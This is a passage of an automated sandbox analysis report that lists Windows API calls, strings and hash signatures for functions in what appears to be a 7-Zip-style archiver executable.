                                                                                                                                                                                                                                                                    • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000), ref: 00402D77
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,?,00000000,00000000), ref: 00402D80
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,0042D058), ref: 00402D9A
                                                                                                                                                                                                                                                                    • MultiByteToWideChar.KERNEL32(?,00000000,?,?,?,?,?,?,00000000,00000000), ref: 00402DBF
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,0042D058), ref: 00402DD5
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ByteCharExceptionMultiThrowWide$ErrorLast
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2296236218-0
                                                                                                                                                                                                                                                                    • Opcode ID: 6a7712267b7d942f19e649b66b307d9eb0f88de23de7deaa09c2aab722b5dd78
                                                                                                                                                                                                                                                                    • Instruction ID: d255bbf9c027754f251c852c7b15e8984b7e16f70c0f486e271ec7f5c1961371
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6a7712267b7d942f19e649b66b307d9eb0f88de23de7deaa09c2aab722b5dd78
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 90110DB1600115BFD724DF55CD85E6BB7E9FF84344B10802AE918D7290E774AD41C7A8
                                                                                                                                                                                                                                                                    Function 0041049D Relevance: 6.1, APIs: 4, Instructions: 138COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 00405B83: GetDlgItem.USER32(?,?), ref: 00405B8D
                                                                                                                                                                                                                                                                      • Part of subcall function 00405B83: GetWindowRect.USER32(00000000,?), ref: 00405B98
                                                                                                                                                                                                                                                                    • InvalidateRect.USER32(?,00000000,00000001,0000006E,?), ref: 004104BA
                                                                                                                                                                                                                                                                      • Part of subcall function 00405C06: GetDlgItem.USER32(?,?), ref: 00405C0F
                                                                                                                                                                                                                                                                      • Part of subcall function 00405C06: MoveWindow.USER32(00000000,?,?,?,?,00000000), ref: 00405C2B
                                                                                                                                                                                                                                                                      • Part of subcall function 00405B42: GetDlgItem.USER32(?,?), ref: 00405B4E
                                                                                                                                                                                                                                                                      • Part of subcall function 00405B42: GetWindowRect.USER32(00000000,?), ref: 00405B59
                                                                                                                                                                                                                                                                    • MoveWindow.USER32(?,?,?,?,?,00000001,00000066,?,00000065,?), ref: 00410581
                                                                                                                                                                                                                                                                    • MoveWindow.USER32(?,?,?,?,?,00000001,00000067,?), ref: 004105B2
                                                                                                                                                                                                                                                                    • MoveWindow.USER32(?,?,?,?,?,00000001,00000064,?), ref: 004105E8
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Window$Move$ItemRect$Invalidate
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 378132125-0
                                                                                                                                                                                                                                                                    • Opcode ID: ad5171f413a0f554dd83a6a2b474e87736a54fe5b1e69a756b04f08de122859c
                                                                                                                                                                                                                                                                    • Instruction ID: 93c1c18c566d7b356d2d3a20fc8a6ba5788171d76364c6a8d5a3b2a53aa1d055
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ad5171f413a0f554dd83a6a2b474e87736a54fe5b1e69a756b04f08de122859c
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F241CB76A00109BFDF10DFE9CD85EEEBBBAEB48714F008115FA15B6191C671A950DB60
                                                                                                                                                                                                                                                                    Function 0041E5C0 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 45COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(004323F0,?,?,?,?,0042A148,000000FF,0041ED0F,?,?,?,?,?,0042A258,000000FF), ref: 0041E5E7
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(004323F0,?,?,?,?,?,?,0042A148,000000FF,0041ED0F,?,?,?,?,?,0042A258), ref: 0041E63A
                                                                                                                                                                                                                                                                      • Part of subcall function 0041E350: memmove.MSVCRT(?,?,FFFFFFE0,?,?,?,?,00000000,0041E600,?,?,?,?,?,0042A148,000000FF), ref: 0041E3B7
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalSection$EnterLeavememmove
                                                                                                                                                                                                                                                                    • String ID: #C$#C
                                                                                                                                                                                                                                                                    • API String ID: 572680541-4107556936
                                                                                                                                                                                                                                                                    • Opcode ID: 47355cc6ed7d31a5a03b2ecf5daab0073752eaac5ed66ad1c500cf65055d538f
                                                                                                                                                                                                                                                                    • Instruction ID: 0a192265d378e5225baa242960579a38f791a4cc9c81a261ae1c948753cc2084
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 47355cc6ed7d31a5a03b2ecf5daab0073752eaac5ed66ad1c500cf65055d538f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C901F235341210BBC6106B2A9D05BEBB799EF99764F84081FFC2153381CBBC18494AAE
                                                                                                                                                                                                                                                                    Function 00405701 Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00405706
                                                                                                                                                                                                                                                                    • CoInitialize.OLE32(00000000), ref: 00405717
                                                                                                                                                                                                                                                                    • SHBrowseForFolderW.SHELL32 ref: 00405721
                                                                                                                                                                                                                                                                    • CoUninitialize.OLE32 ref: 00405759
                                                                                                                                                                                                                                                                      • Part of subcall function 00405661: __EH_prolog.LIBCMT ref: 00405666
                                                                                                                                                                                                                                                                      • Part of subcall function 00405661: SHGetMalloc.SHELL32(00000000), ref: 00405681
                                                                                                                                                                                                                                                                      • Part of subcall function 00405661: _CxxThrowException.MSVCRT(?,0042D058), ref: 0040569B
                                                                                                                                                                                                                                                                      • Part of subcall function 004056CC: SHGetPathFromIDListW.SHELL32 ref: 004056E8
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$BrowseExceptionFolderFromInitializeListMallocPathThrowUninitialize
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2234105922-0
                                                                                                                                                                                                                                                                    • Opcode ID: d3c35d62ca0d5e3782c81dd7538196ed93999ed759b365918463d8a2da5658b3
                                                                                                                                                                                                                                                                    • Instruction ID: 278bca97a19643ac03d8d11a1ad40fed67b6ddfa73c9b04bde46338867b54393
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d3c35d62ca0d5e3782c81dd7538196ed93999ed759b365918463d8a2da5658b3
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C901AD71A01254EFC710EBA998445EEBBB8EF55310F5445BFA406B3351CAB85E04CBB5
                                                                                                                                                                                                                                                                    Function 00403F5F Relevance: 6.0, APIs: 4, Instructions: 38COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 00403E17: FindClose.KERNELBASE(?,?,00403E48), ref: 00403E22
                                                                                                                                                                                                                                                                    • SetLastError.KERNEL32(00000078), ref: 00403F7F
                                                                                                                                                                                                                                                                    • SetLastError.KERNEL32(00000000), ref: 00403F89
                                                                                                                                                                                                                                                                    • FindFirstStreamW.KERNELBASE(?,00000000,?,00000000), ref: 00403F9D
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32 ref: 00403FAA
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ErrorLast$Find$CloseFirstStream
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 4071060300-0
                                                                                                                                                                                                                                                                    • Opcode ID: 2968890746f7810fdcd9cd4d73bf507cf8724a70549a584c2cf7f7940bb943a6
                                                                                                                                                                                                                                                                    • Instruction ID: c170fa03ddd0ba8a2b89d8cf545557e14744e60b612a98067c6a5a33c443cadf
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2968890746f7810fdcd9cd4d73bf507cf8724a70549a584c2cf7f7940bb943a6
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 19F0813090020796CE306F249C0979A7B7DAB11717F200276F665B52E0C7B85A8A8B9D
                                                                                                                                                                                                                                                                    Function 00412592 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 269COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID: ''$Warning
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-3383353200
                                                                                                                                                                                                                                                                    • Opcode ID: 4da3652c1600ded8e94a3987e7337f45fcdec32ec85010a1e55a4ccd57f92552
                                                                                                                                                                                                                                                                    • Instruction ID: 4e71c701001cd2dab87ce5ca1a3284292e9bcc56064661ac2dfea8f5eadba684
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4da3652c1600ded8e94a3987e7337f45fcdec32ec85010a1e55a4ccd57f92552
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 74B1C270A00208DBCF15EBA5C645BEDB7B5BF44318F20816FE415B72D1CBB85A95CB29
                                                                                                                                                                                                                                                                    Function 0040E267 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 206COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID: Unknown error$Unknown warning
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-4291957651
                                                                                                                                                                                                                                                                    • Opcode ID: 299e9b94795aa3a235eba57b60cf969a6bc641f40d56132481ccf7aa0ddf6852
                                                                                                                                                                                                                                                                    • Instruction ID: 344eb98bbdac455f060b2fa88723c6bf5fe2373bca5751da229976cf69dd4e15
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 299e9b94795aa3a235eba57b60cf969a6bc641f40d56132481ccf7aa0ddf6852
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 53914B71900209CBCB14DFA6C980AEEB7F1FF58304F50496EE45AB7281D774AE15CB58
                                                                                                                                                                                                                                                                    Function 00415743 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 127COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00415748
                                                                                                                                                                                                                                                                      • Part of subcall function 00415980: __EH_prolog.LIBCMT ref: 00415985
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$free
                                                                                                                                                                                                                                                                    • String ID: __DIR__$__FILE__.001
                                                                                                                                                                                                                                                                    • API String ID: 2654054672-545012136
                                                                                                                                                                                                                                                                    • Opcode ID: 43538824fe52762ad3a8f914186f523117d75a99c9d6acd7d0f8ac920d75ed30
                                                                                                                                                                                                                                                                    • Instruction ID: d2773deb7a5e5ce0c881da8be424ac3a832bf1ce5c2ea03189ee11ba13b739dc
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 43538824fe52762ad3a8f914186f523117d75a99c9d6acd7d0f8ac920d75ed30
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5741A235A0050ADFDF14EF59C481AFEB3B5EF88358F50801EE851A7291DB38AD96CB58
                                                                                                                                                                                                                                                                    Function 004121FD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID: : $Error #
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-3172960709
                                                                                                                                                                                                                                                                    • Opcode ID: 364f671fc20e36d9129dc60e0562234fea4ed8d9a433d05bf583223c9c62e64b
                                                                                                                                                                                                                                                                    • Instruction ID: a3035bf68c285774e2a30908817bfe25aad026f71aa8464f4bef563abb75a780
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 364f671fc20e36d9129dc60e0562234fea4ed8d9a433d05bf583223c9c62e64b
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: BB41BC71E08158DADF14AB91CA497EDB765AF50304F2440BBE405B32E1CBFC0E95979E
                                                                                                                                                                                                                                                                    Function 0041293F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID: Warning$Warnings
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-1940404325
                                                                                                                                                                                                                                                                    • Opcode ID: 820a8e872be835fb63c392e3212aebb3daf63363ce622cd56f091b3ba8dec14c
                                                                                                                                                                                                                                                                    • Instruction ID: bd0e5e697a98c3ac3053570026757c39d0ecc8cc824f9357c931825373b5285f
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 820a8e872be835fb63c392e3212aebb3daf63363ce622cd56f091b3ba8dec14c
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5E31C8B1B002159BCB25BB96D6557FEB6B6AF80314F24412FD056B22D1CFFC0A45C758
                                                                                                                                                                                                                                                                    Function 0040A893 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 0040A898
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?), ref: 0040A8A4
                                                                                                                                                                                                                                                                      • Part of subcall function 0040394E: __EH_prolog.LIBCMT ref: 00403953
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$ErrorLastfree
                                                                                                                                                                                                                                                                    • String ID: :
                                                                                                                                                                                                                                                                    • API String ID: 683690243-3653984579
                                                                                                                                                                                                                                                                    • Opcode ID: a8bde2ce5335faf1c5b5ce12e3179a9f02a4f1144b79f4c01e2ba619d5bed7ed
                                                                                                                                                                                                                                                                    • Instruction ID: 96e151a618601f6dd1fb8e6ab92af97aa09d0c2e9baa68190753dd054ca10448
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a8bde2ce5335faf1c5b5ce12e3179a9f02a4f1144b79f4c01e2ba619d5bed7ed
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2101A172E00205DBCB15EBA5D90AADEBB75EF54318F10406EF501B32D2CF798A45C7A4
                                                                                                                                                                                                                                                                    Function 00414B11 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20windowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 004260F0: WaitForSingleObject.KERNEL32(?,000000FF,00414B20,00000061,00000000,?,?,?,00000000,?,?,?,?,00000000,00000000,00000000), ref: 004260F3
                                                                                                                                                                                                                                                                    • MessageBoxW.USER32(00000000,Progress Error,7-Zip,00000010), ref: 00414B37
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: MessageObjectSingleWait
                                                                                                                                                                                                                                                                    • String ID: 7-Zip$Progress Error
                                                                                                                                                                                                                                                                    • API String ID: 102643358-3559664798
                                                                                                                                                                                                                                                                    • Opcode ID: 1996d8383d8ee249d903f8c64617a428255775cde23022f3b3a5137c1d2c5371
                                                                                                                                                                                                                                                                    • Instruction ID: 81f45abbb7a506eed03f84d8285c684cd3e14951ad518bf2c908a3c633146ee7
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 1996d8383d8ee249d903f8c64617a428255775cde23022f3b3a5137c1d2c5371
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2BE09A32B403449BCB11DF54E592FAEBBB0EF68310F40402AE41263281C7B568108A08
                                                                                                                                                                                                                                                                    Function 0040A1B5 Relevance: 5.1, APIs: 4, Instructions: 58COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042CC1C,00000010), ref: 0040A1CB
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042B308,00000010), ref: 0040A1DF
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042B318,00000010), ref: 0040A1FD
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042B448,00000010), ref: 0040A21B
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: memcmp
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1475443563-0
